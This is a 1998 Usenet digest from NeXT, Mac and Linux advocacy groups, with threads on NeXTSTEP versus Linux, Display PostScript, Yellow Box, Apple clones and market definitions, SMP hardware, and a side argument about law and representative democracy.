It's not that simple IMHO. The two markets are competing for the
uncomitted users. Once comitted (bought a lot of software) the two markets
operate in parallel with only a minor amount of crossover. Also from the
cloners perspective, rather than the uncomitted users perspective, it was
obviously not one market. The cloners were not able to replace MacOS with
an x86 OS, they were completely at Apple's mercy, it was comply or find a
new market to operate in.
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
From: Toon Moene <toon@moene.indiv.nluug.nl>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: Switch nextstep -> linux ?
Date: 18 Nov 1998 22:32:49 GMT
Organization: Moene Computational Physics, Maartensdijk, The Netherlands
Message-ID: <72vhuh$t0v$1@newnews.nl.uu.net>
References: <uFk42.5443$dB4.136204@carnaval.risq.qc.ca> <3651E28F.90C2A84A@inch.com> <3651F9C8.F5ADA57E@cygnus.com>
John Rudd <jrudd@cygnus.com> wrote:
> 1) get a big frame buffer.. my Sparcstation 4 has an 8 bit frame buffer,
> and I just can't tell you how annoying it is to have color lookup
> problems because one X app sucks up everything (like, say, Netscape),
> and then you can't run some other nice program (like, say Xearth)
> because it can't even allocate a few colors. Make sure you've got at
> least a 16 bit frame buffer.
> (I never realized just how nice it was to have all of that color
> dithering under nextstep .. 8 bit color may have looked a little fuzzy
> sometimes, but at least it worked)
Pah, it's far better than that. The SGI workstation on my desk at work has
an 8-bit frame-buffer - and that thing set us back $35,000 ! The NeXT
Station I have at home did 16 bit color Display Postscript from the very
beginning (1990) and cost only half as much *at that time*.
I never understood why people put up with 8-bit color :-(
--
Toon Moene (mailto:toon@moene.indiv.nluug.nl)
Saturnushof 14, 3738 XG Maartensdijk, The Netherlands
Phone: +31 346 214290; Fax: +31 346 214286
g77 Support: mailto:fortran@gnu.org; egcs: mailto:egcs-bugs@cygnus.com
Subject: Re: Tweaking fonts (was Re: I grow old)
Newsgroups: comp.sys.next.advocacy
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <01be09b9$ccdf2b50$06387880@chewy> <36435965.0@news.depaul.edu> <71vmqv$8be@shelob.afs.com> <364366BF.44BC800A@tone.ca> <71vti6$96p@shelob.afs.com> <726u8k$dkf$2@sun27.hrz.tu-darmstadt.de> <forrestDELETE-THIS!-0911981126120001@term3-8.vta.west.net> <727i58$d2b$2@sun27.hrz.tu-darmstadt.de> <727kku$rih@shelob.afs.com> <ZmN12.63$rY3.396017@news.rdc1.sdca.home.com> <728f6m$g3@shelob.afs.com> <3647DCC4.4792B75A@trilithon.com> <qc_12.116$rY3.724777@news.rdc1.sdca.home.com> <36493710.E6588BA1@trilithon.com> <0Dm22.450$rY3.970431@news.rdc1.sdca.home.com> <364F6665.8D0BA59A@trilithon.com> <72opu2$nbk$1@news.xmission.com> <3653235B.E74D2BDC@ncal.verio.com> <72vbkd$i68$1@news.xmission.com>
In-Reply-To: <72vbkd$i68$1@news.xmission.com>
From: email@end.of.post (Raymond Lutz)
Message-ID: <T_H42.501$fK2.1973@wagner.videotron.net>
Date: Wed, 18 Nov 1998 22:37:39 GMT
NNTP-Posting-Date: Wed, 18 Nov 1998 17:37:39 EDT
On 11/18/98, Don Yacktman wrote:
>Mike Paquette <mpaque@ncal.verio.com> wrote:
>> Don Yacktman wrote:
>> > I think it is issues like these and the fact that Apple hasn't
>> > told us what this so called "Display PDF" will and won't do,
>> > that has so many old-timers upset about the upcoming loss of
>> > DPS. If we still get the functionality, then it is no biggie
>> > [..]
>>
>> You'll still get the functionality. [...]
>
>That's good to hear. Given the dearth of information on this
>thing, very few people outside of Apple have any idea of what the
>heck it will and won't do when contrasted against what we know we
>can do with DPS. There's a lot of anxiety over this, I will tell
>you. Apple severely needs to do a better job of communicating
>this sort of stuff to developers. The current "radio silence"
>coupled with what appear to be inexplicable delays in MOSXS is
>NOT endearing to anyone and may do a lot of long term damage.
Yes, this minuscule, yet positive info is like a small puff of air in
this otherwise unbreathable deleterious tomb atmosphere that is
reigning here.
Thanks Mike!
All we know is that Mark Bessey is "working on something so cool,
it'll make your jaw drop when we see it" and that Glenn Reid, now at
Apple too, is "working on a Secret Project"...
Well, up to now, it has been a Secret OS... 8^|
And will our dropping jaw still have teeth by then?
Ray,
asking a fat pile of green for Christmas (see the "New date for
MOX Server" thread)... 8^(
--
Raymond Lutz - 9bit.qc.ca@lutzray - www.9bit.qc.ca/~$myusername - "Les 400 plus fortunes individus de la planete possedent autant que 2.3 MILLIARDS des plus pauvres reunis"
From: a1050pi@yahoo.com (Sheldon Gartner)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Linux: "amazingly great" part II
Date: Wed, 18 Nov 1998 22:52:00 GMT
Organization: Airnews.net! at Internet America
Message-ID: <8BCE6683759C636E.39EBC39E32EDEFD1.EE283FD409C77147@library-proxy.airnews.net>
References: <72evt6$15u$1@nnrp1.dejanews.com> <861zn8w3jc.fsf@topquark.spots.ab.ca> <97042EDDF11DA39D.35D6071AA669CB56.DAD30F1AEB9000E9@library-proxy.airnews.net> <adtF2LuuL.94M@netcom.com>
Abuse-Reports-To: abuse at airmail.net to report improper postings
NNTP-Proxy-Relay: library3
NNTP-Posting-Time: Wed Nov 18 16:42:44 1998
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
On Wed, 18 Nov 1998 06:47:09 GMT, adt@netcom.com (Anthony D. Tribelli)
wrote:
>Sheldon Gartner (a1050pi@yahoo.com) wrote:
>
>: ... I've
>: heard that Apple could provide "Yellow Box" for Linux....What exactly
>: _is_ Yellow Box, anyway ...
>
>Yellow Box is the native API for Rhapsody/MacOS X. Think of it like a
>hybrid of NextStep and MacOS, favoring NextStep. Yellow Box application
>are supposed to run natively on MacOS X for PowerPC and Intel x86, and
>libraries will let them run under Win9x/NT as well. At least that's the
>plan.
Then, what's taking so long?
YB Linux apparently could really speed things up on the desktop level.
-l
---
ICQ#: 9393354 * "Whenever you find that you are on the side of
the majority, it is time to reform." -- Mark Twain
From: gwangung@u.washington.edu (R. Tang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 18 Nov 1998 22:43:16 GMT
Organization: University of Washington, Seattle
Message-ID: <72vii4$1fas$1@nntp6.u.washington.edu>
References: <364295A3.ABE8C927@earthlink.net> <adtF2Ls51.4v6@netcom.com> <72uq90$150c$1@nntp6.u.washington.edu> <adtF2n1wL.Do6@netcom.com>
NNTP-Posting-User: gwangung
In article <adtF2n1wL.Do6@netcom.com>,
Anthony D. Tribelli <adt@netcom.com> wrote:
>R. Tang (gwangung@u.washington.edu) wrote:
>: Anthony D. Tribelli <adt@netcom.com> wrote:
>
>: >Actually our disagreement seems to be about what constitutes a
>: >marketplace. I think the PowerPC consumer oriented dekstop market is a
>: >different market than the x86 market. I don't think that the fact that the
>: >two markets compete for the same end users changes the fact that each
>: >market is internally 'controlled' by one company.
>:
>: Two markets competing for the same users are NOT two markets;
>: they're one market.
>
>It's not that simple IMHO. The two markets are competing for the
>uncomitted users.
Simple question: if by magic, all Macs were destroyed and no more
to be made, what would Mac users do? I'd say, 90%+ would turn to Intel
machines.
One market, QED.
By the way, you're either mixing your terms or presupposing your
conclusions. It's NOT two markets; its two products.
> Once comitted (bought a lot of software) the two markets
>operate in parallel with only a minor amount of crossover.
I think this is conjecture, not fact. You would exclude all the
high profile conversion from Macs to PCs over the past few years?
Also from the
>cloners perspective, rather than the uncomitted users perspective, it was
>obviously not one market. The cloners were not able to replace MacOS with
>an x86 OS, they were completely at Apple's mercy, it was comply or find a
>new market to operate in.
Poppycock. This is a distorted version of "markets" that looks at
products instead of how they are used by consumers.
And it is untrue that that cloners were unable to replace MacOS
with an x86 OS; Umax DID do that (albeit after Apple yanked the license
back). And they pitch them to the same people....
--
-Roger Tang, gwangung@u.washington.edu, Artistic Director PC Theatre
- Editor, Asian American Theatre Revue [NEW URL]
- http://www.abcflash.com/a&e/r_tang/AATR.html
-Declared 4-F in the War Between the Sexes
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: Switch nextstep -> linux ?
Date: 19 Nov 1998 00:00:54 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1811981900150001@pm60-33.magicnet.net>
References: <uFk42.5443$dB4.136204@carnaval.risq.qc.ca> <3651E28F.90C2A84A@inch.com> <3651F9C8.F5ADA57E@cygnus.com> <72vhuh$t0v$1@newnews.nl.uu.net>
Toon Moene <toon@moene.indiv.nluug.nl> wrote:
> Pah, it's far better than that. The SGI workstation on my desk at work has
> an 8-bit frame-buffer - and that thing set us back $35,000 ! The NeXT
> Station I have at home did 16 bit color Display Postscript from the very
> beginning (1990) and cost only half as much *at that time*.
>
> I never understood why people put up with 8-bit color :-(
"Because VGA is the standard!"
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: Christian Benesch <a9226931@unet.univie.ac.at>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Thu, 19 Nov 1998 08:48:50 +0100
Organization: Vienna University, Austria
Message-ID: <3653CD62.295F9A0A@unet.univie.ac.at>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <3652330f.0@news1.ibm.net> <cirby-1711982209450001@pm61-13.magicnet.net> <mazulauf-1711982214500001@dopey.met.utah.edu>
Mime-Version: 1.0
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NNTP-Posting-Date: 19 Nov 1998 01:00:51 GMT
As far as I know there is no Apple SMP HArdware, is there?
Christian Benesch
Mike Zulauf wrote:
> In article <cirby-1711982209450001@pm61-13.magicnet.net>,
> cirby@magicnet.net (Chad Irby) wrote:
>
> > Yves R. Crevecoeur <creveco@ibm.net> wrote:
> >
> > > What kind of a modern OS does not support multi processing?
> >
> > Windows 98?
>
> As far as I know, the only OS that supports SMP on Apple hardware is
> MkLinux. Not even LinuxPPC does so at this time. :-(
>
> Mike
>
> --
> Mike Zulauf
> mazulauf@atmos.met.utah.edu
From: davewang@cslab.kecl.ntt.co.jp.DELETE.delete.DELETE@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 19 Nov 1998 01:36:36 GMT
Organization: University of Maryland, College Park
Message-ID: <72vsn4$ij4$3@hecate.umd.edu>
References: <364295A3.ABE8C927@earthlink.net> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <19981114211830178656@pm2-3-11.aug.com> <365069F2.4ED5904F@spamtoNull.com> <72qrqc$l0q@news1.panix.com> <cirby-1711981107070001@pm51-46.magicnet.net> <72tbel$rcm$2@hecate.umd.edu> <cirby-1811981311250001@pm61-42.magicnet.net>
Chad Irby (cirby@magicnet.net) wrote:
: davewang@cslab.kecl.ntt.co.jp.@Glue.umd.edu (David T. Wang) wrote:
: > My impression is a bit different. I know that Compaq does not like
: > Intel nor IBM, but I didn't see or hear about any enmity toward
: > Microsoft in my conversations with my friends still at Compaq. As a
: > matter of fact, on several occasions I've heard of Compaq employees
: > jokingly refer to themselves as the "hardware division of Microsoft".
: You need to sit backstage at some Compaq meetings. There might be folks
: at Compaq that tolerate MS, but there are a *lot* of people who would very
: happily provide the gas cans and matches for the Great MS Bonfire.
As I said, perhaps my sample of friends at Compaq does not include those
fervent anti-MS types, but I have sat in at some Compaq meetings.
(Although admittedly, the last one was 3 years ago) I have not heard
any of the anti-MS rant that you have.
: > As to the general level of frustration with Microsoft, it's kind of
: > universal, as Microsoft tends to dictate rather than consult, and
: > that could be frustrating for developers.
: There's a huge difference between "frustration" and "wanting to stopm all
: ver MS."
: The flip side of the coin is the typical company that gets real friendly
: with Microsoft. The phrase you hear at these meetings is "Strategic
: Alliance with Microsoft." Sic months later, the phrases you hear are
: "buyout" or "takeover," when the "allied" company is snapped up after
: their big stock price drops.
WEll, that ain't a possibility with Compaq, so they wouldn't be worried
about that.
: Microsoft is a bad enemy and a worse friend.
: --
: Chad Irby \ My greatest fear: that future generations will,
: cirby@magicnet.net \ for some reason, refer to me as an "optimist."
--
davewang@kagututi.kecl.ntt.co.jp.I.like.green.eggs.and.ham,not.spam
All statements are personal opinions
Not speaking for NTT or University of Maryland
Nara, Japan.
From: erick@sfu.ca (Erick Bryce Wong)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: 19 Nov 1998 02:27:12 GMT
Organization: Simon Fraser University
Message-ID: <72vvm0$rgs$1@morgoth.sfu.ca>
References: <01be1188$01ce14e0$06387880@chewy> <cirby-1711982209450001@pm61-13.magicnet.net> <mazulauf-1711982214500001@dopey.met.utah.edu> <3653CD62.295F9A0A@unet.univie.ac.at>
Christian Benesch <a9226931@unet.univie.ac.at> wrote:
>As far as I know there is no Apple SMP HArdware, is there?
>
>Mike Zulauf wrote:
>> As far as I know, the only OS that supports SMP on Apple hardware is
>> MkLinux. Not even LinuxPPC does so at this time. :-(
Sure there is, but not much: the 9600/180MP and 9600/200MP were both
2-processor 604e's. I'm not sure, but I would have expected BeOS to
support SMP on those. There also used to be Apple-branded Network
Servers running AIX, but the Apple Spec Database tells me that none
of those had multiple processors (at least out of the box), otherwise
that might have been another OS supporting SMP :).
-- Erick
From: k@*.com (l)
Newsgroups: comp.sys.next.advocacy
Subject: crazy idea, but ah....m68k
Message-ID: <k-1811982320220001@dub234042.columbus.rr.com>
Organization: t
Date: Wed, 18 Nov 1998 23:20:22 -0500
NNTP-Posting-Date: Wed, 18 Nov 1998 23:23:44 EDT
'Apple Computer presents a revealing look at their system software
strategy of the future.You'll learn about directions for 68000, PowerPC
and G3 systems and hear what importantmodern operating system features
Apple will be providing in coming releases. Get-up-to-dateon the System
8.5 and Mac OS X in this informative session.'
In an age when microsoft and citrix roll out session-exporting/vnc-like
software for NT and old 3.1 computers, would apple cook up something
similar for the 68k machines? we know NEXT had their OS running on 68k,
perhaps it would only take a minor tuneup to get some sort of thin yellow
box client running on ol 68k macs.
just an idea...
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 19 Nov 1998 05:06:40 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <730910$f3v@news1.panix.com>
References: <364295A3.ABE8C927@earthlink.net> <3650804E.936482E6@exu.ericsson.se> <72pufo$goo@newsb.netnews.att.com> <36509448.18CC0E10@exu.ericsson.se> <72q6l0$ps2@newsb.netnews.att.com> <3650B378.684BEB0E@exu.ericsson.se> <72qrjk$kui@news1.panix.com> <3651D8E7.BC900F00@exu.ericsson.se> <72tga5$h6o@news1.panix.com> <72vgg2$rh3$1@nnrp1.dejanews.com>
On Wed, 18 Nov 1998 22:08:17 GMT, michael_peck@my-dejanews.com
<michael_peck@my-dejanews.com> wrote:
>In article <72tga5$h6o@news1.panix.com>,
> sal@panix.com wrote:
>> On Tue, 17 Nov 1998 14:13:27 -0600,
>> The job of our elected officials is to do what is just, what is needed and
>> what is fair, not what is popular. A law banning flag burning, the
>> communist party and the spice girls might be popular, but not fair.
>>
>> The big question, is "Who should decide what is fair?"
>>
>> Ultimately it is the voters who decide.
>
>You are completely and totally confused. You say:
>
>"The job of our elected officials is to do...what is fair."
>
>and you say:
>
>"Ultimately it is the voters who decide [what is fair]."
Don't put words in my mouth. I said "Ultimately it is the voters who decide
[Who should decide what is fair]". They do that by voting.
>Now, either this is a direct contradiction in the space of four sentences, or
>you mean that elected officials should do the will of the people by direct
>referendum.
Last time I checked, the US government was a representative democracy. Voters
do not pass laws or set policy, they elect representatives that carry out
those tasks. Very little is done by direct public referendum (unless you count
an election as a "direct public referendum")
<clip>
> Just what do you refer to by "popular"?! If it is voters
>who decide, then yes, officials must do what is popular.
Elected officials are sworn to uphold the constitution and the laws of this
country, not react to popular opinion. While I do not disagree that attempting
to do "popular things" will likely get you reelected, it isn't the job they
are there to do.
Go back to the top of this article and re-read my example of "A law banning
flag burning, the communist party and the spice girls"
>> >You're not quite as good at concealing twisted logic as you think you
>> >are.
>> I'm not concealing anything.
>Not at this point. How embarassing for you.
Why should I be embarassed that you thought that I was in any way concealing
something?
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: "Knife the baby" finally appears
Message-ID: <adtF2nLHo.685@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Organization: ICGNetcom
References: <364295A3.ABE8C927@earthlink.net> <adtF2Ls51.4v6@netcom.com> <72uq90$150c$1@nntp6.u.washington.edu> <adtF2n1wL.Do6@netcom.com> <72vii4$1fas$1@nntp6.u.washington.edu>
Date: Thu, 19 Nov 1998 05:20:12 GMT
Sender: adt@netcom19.netcom.com
R. Tang (gwangung@u.washington.edu) wrote:
: Anthony D. Tribelli <adt@netcom.com> wrote:
: >R. Tang (gwangung@u.washington.edu) wrote:
: >: Anthony D. Tribelli <adt@netcom.com> wrote:
: >: >Actually our disagreement seems to be about what constitutes a
: >: >marketplace. I think the PowerPC consumer oriented dekstop market is a
: >: >different market than the x86 market. I don't think that the fact that the
: >: >two markets compete for the same end users changes the fact that each
: >: >market is internally 'controlled' by one company.
: >:
: >: Two markets competing for the same users are NOT two markets;
: >: they're one market.
: >
: >It's not that simple IMHO. The two markets are competing for the
: >uncomitted users.
:
: Simple question: if by magic, all Macs were destroyed and no more
: to be made, what would Mac users do? I'd say, 90%+ would turn to Intel
: machines.
:
: One market, QED.
You earned an F on that proof. :-) Counterexample: If all motorcycles
disappeared and riders purchased cars ... Car market is not motorcycle
market.
: By the way, you're either mixing your terms or presupposing your
: conclusions. It's NOT two markets; its two products.
See above.
: > Once comitted (bought a lot of software) the two markets
: >operate in parallel with only a minor amount of crossover.
:
: I think this is conjecture, not fact. You would exclude all the
: high profile conversion from Macs to PCs over the past few years?
Fact, a Mac binary will not run on a PC even if the product targets both
platforms.
: Also from the
: >cloners perspective, rather than the uncomitted users perspective, it was
: >obviously not one market. The cloners were not able to replace MacOS with
: >an x86 OS, they were completely at Apple's mercy, it was comply or find a
: >new market to operate in.
:
: Poppycock. This is a distorted version of "markets" that looks at
: products instead of how they are used by consumers.
:
: And it is untrue that that cloners were unable to replace MacOS
: with an x86 OS; Umax DID do that (albeit after Apple yanked the license
: back). And they pitch them to the same people....
Really, what x86 OS are they running on a PowerPC motherboard? IMHO, Umax
moved to a new market.
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 19 Nov 1998 05:48:52 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1911980048140001@pm61-16.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <adtF2Ls51.4v6@netcom.com> <72uq90$150c$1@nntp6.u.washington.edu> <adtF2n1wL.Do6@netcom.com> <72vii4$1fas$1@nntp6.u.washington.edu> <adtF2nLHo.685@netcom.com>
adt@netcom.com (Anthony D. Tribelli) wrote:
> You earned an F on that proof. :-) Counterexample: If all motorcycles
> disappeared and riders purchased cars ... Car market is not motorcycle
> market.
Car ==> Motorcycle
Computer ==> PDA
Very good example.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: Fam.Traeger@t-online.de (=?ISO-8859-1?Q?Lars_Tr=E4ger?=)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 19 Nov 1998 01:20:49 GMT
Organization: That hasn't stoped us from shipping Win'95
Message-ID: <72vrph$bbm$1@news01.btx.dtag.de>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <adtF2CH1x.MEL@netcom.com> <72hpl5$10bs$1@nntp6.u.washington.edu> <adtF2E46H.L8C@netcom.com> <cirby-1411980253120001@pm61-25.magicnet.net> <72keje$dud@news1.panix.com> <36505AFF.467AC9DC@spamtoNull.com> <72pvfb$hcs@newsb.netnews.att.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
<gupta@knim.tm.tta.moc-mirror> wrote:
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> >
> >As far as I am concerned it has never been demonstrated that killing
> >Apple cloning was "necessary" to Apple's survival. At the time cloning
> >was killed Apple had around 90% of the Mac-compatible market to itself
> >anyway. In these days since cloning was killed we've seen layoffs,
>
> It has never been demonstrated either, that cloning increased the
> Macintosh marketshare by even a smidgen.
>
> >factory closings, and asset sales *anyway*. Jobs has never been able to
> >abide cloning for personal, philosophical reasons. Clone companies have
>
> Since you are talking about demonstrations and proofs, what demonstration
> is there that "Jobs has not been able to abide cloning for personal,
> philosophical reasons". What are these reasons ? Where in the public
> record are these expressed ? If they aren't there, how did you get your
> insight into Jobs' motives ? By magic ?
Mr. Harker is great at stating "facts" without proof and - unlike David
Fields - he keeps on long after they were proven wrong.
Lars T.
From: mazulauf@atmos.met.utah.edu (Mike Zulauf)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Wed, 18 Nov 1998 23:52:55 -0700
Organization: Universtity of Utah - Department of Meteorology
Message-ID: <mazulauf-1811982352560001@grumpy.met.utah.edu>
References: <01be1188$01ce14e0$06387880@chewy> <cirby-1711982209450001@pm61-13.magicnet.net> <mazulauf-1711982214500001@dopey.met.utah.edu> <3653CD62.295F9A0A@unet.univie.ac.at> <72vvm0$rgs$1@morgoth.sfu.ca>
NNTP-Posting-Date: 19 Nov 1998 06:51:06 GMT
In article <72vvm0$rgs$1@morgoth.sfu.ca>, erick@sfu.ca (Erick Bryce Wong) wrote:
> Christian Benesch <a9226931@unet.univie.ac.at> wrote:
> >As far as I know there is no Apple SMP HArdware, is there?
> >
> >Mike Zulauf wrote:
> >> As far as I know, the only OS that supports SMP on Apple hardware is
> >> MkLinux. Not even LinuxPPC does so at this time. :-(
>
> Sure there is, but not much: the 9600/180MP and 9600/200MP were both
> 2-processor 604e's. I'm not sure, but I would have expected BeOS to
> support SMP on those.
In addition there were (are?) third party multi-processor upgrade cards
from Daystar, and possibly others.
Mike
--
Mike Zulauf
mazulauf@atmos.met.utah.edu
Date: Wed, 18 Nov 1998 23:42:46 -0800
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Message-ID: <stevehix-1811982342460001@192.168.1.10>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <3652330f.0@news1.ibm.net> <cirby-1711982209450001@pm61-13.magicnet.net> <mazulauf-1711982214500001@dopey.met.utah.edu> <3653CD62.295F9A0A@unet.univie.ac.at>
Organization: Close to None
In article <3653CD62.295F9A0A@unet.univie.ac.at>, Christian Benesch
<a9226931@unet.univie.ac.at> wrote:
> Mike Zulauf wrote:
>
> > In article <cirby-1711982209450001@pm61-13.magicnet.net>,
> > cirby@magicnet.net (Chad Irby) wrote:
> >
> > > Yves R. Crevecoeur <creveco@ibm.net> wrote:
> > >
> > > > What kind of a modern OS does not support multi processing?
> > >
> > > Windows 98?
> >
> > As far as I know, the only OS that supports SMP on Apple hardware is
> > MkLinux. Not even LinuxPPC does so at this time. :-(
> As far as I know there is no Apple SMP HArdware, is there?
Didn't they sell two-processor machines before the G3
series came out?
--
Do not argue with the forces of nature,
for you are small, insignificant,
and biodegradable.
From: Jonathan <jxoxnxvxwxixlxlx@xixaxsxtxaxtxex.xexdxu>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! Pro-Linux people propagating anti-Linux FUD
Date: Wed, 18 Nov 1998 12:33:31 -0600
Organization: Iowa State University
Message-ID: <365312FB.45F0@xixaxsxtxaxtxex.xexdxu>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz> <3647E15E.7A2232BA@ix.netcom.com> <729lc5$hnd$1@nnrp1.dejanews.com> <72b6c2$16v$9@blue.hex.net> <72clqk$3ij$1@nnrp1.dejanews.com> <364A93F5.615EB064@ix.netcom.com> <72evh2$ut$1@nnrp1.dejanews.com> <slrn754d5n.n8k.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <3652EADF.70A8@xixaxsxtxaxtxex.xexdxu> <aTD42.268$pi5.99222@client.news.psi.net>
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rew wrote:
<snip>
> I'm very, very sure that Microsoft has a strict policy of not imbedding any
> GPLed code in their products. Microsoft is not stupid.
You're probably right. Still, it's an interesting possibility to
ponder. I believe Microsoft has shown few scruples in "innovating" with
other's ideas. The same might apply to code. Didn't Stac nail them for
this?
> And remember that the reason the big guys don't drive each other into
> bankruptcy suing each other over patent infringement is that they all
> have patent cross licensing agreements with each other. Linux has
> no patents to trade, so can't play that game.
I'm not talking about Linux. I'm talking about the many, many ideas
Microsoft has "lifted" and made into their own. I really believe a
Microsoft win in this category would set a precedent, opening doors for
others to sue them on the same grounds.
As I said, I'm no lawyer, and in fact, didn't even come up with the
above possibility. See a current article on the LinuxWorld website:
http://www.linuxworld.com/linuxworld/lw-1998-11/lw-11-penguin.html
("The Uncertain Future of NT")
It brings up some interesting arguments.
Regards,
Jonathan
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Wed, 18 Nov 1998 10:58:28 -0600
Organization: Ericsson Inc.
Message-ID: <3652FCB4.93DE2C3A@exu.ericsson.se>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com> <364A0F3E.912B8E3E@spamtoNull.com> <72dp06$1ks@news1.panix.com> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364CA67E.6C5A5121@exu.ericsson.se> <72k3jj$68e@newsb.netnews.att.com> <3650804E.936482E6@exu.ericsson.se> <72pufo$goo@newsb.netnews.att.com> <36509448.18CC0E10@exu.ericsson.se> <72srmq$ah4$1@news.asu.edu> <36521AEE.371D8B5C@exu.ericsson.se> <19981117232457136737@pm2-1-02.aug.com>
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Rick wrote:
> > Law one. Incest is encroachment. There can be no consensual incest,
> > because of age of consent laws. Age of consent laws are a specification
> > of the first law, in order to determine the definition and application
> > of "person or property".
>
> Be care ful when you argue law. Incest does not rest on solely on age,
> but on familial closeness. Check the rest of your arguements.
The reference to age of consent laws was meant to apply to the previous
subject, statutory rape. In the rapidity of my response I apparently
made the goof of assuming that reference to incest was of a similar
nature.
You're right, of course. At best, assume my argument applies to examples
where incest means statutory rape.
MJP
From: k@*.com (l)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Message-ID: <k-1911980443540001@dub234042.columbus.rr.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com> <364A0F3E.912B8E3E@spamtoNull.com> <72dp06$1ks@news1.panix.com> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364CA67E.6C5A5121@exu.ericsson.se> <72k3jj$68e@newsb.netnews.att.com> <3650804E.936482E6@exu.ericsson.se> <72pufo$goo@newsb.netnews.att.com> <36509448.18CC0E10@exu.ericsson.se> <72srmq$ah4$1@news.asu.edu> <36521AEE.371D8B5C@exu.ericsson.se> <19981117232457136737@pm2-1-02.aug.com> <3652FCB4.93DE2C3A@exu.ericsson.se>
Organization: t
Date: Thu, 19 Nov 1998 04:43:54 -0500
NNTP-Posting-Date: Thu, 19 Nov 1998 04:47:16 EDT
> > Be care ful when you argue law. Incest does not rest on solely on age,
> > but on familial closeness. Check the rest of your arguements.
>
> The reference to age of consent laws was meant to apply to the previous
> subject, statutory rape. In the rapidity of my response I apparently
> made the goof of assuming that reference to incest was of a similar
> nature.
wtf kinda newsgroup did i stumble into here?
now if you're talking about apple raping its customers, there is no age
limit. those of us whove been on board the longest feel even more dicked
over than ppl who were never customers. when do you cross the line from
os'sex to rape?
From: "Phil Brewster" <pjbrew@nospam.com>
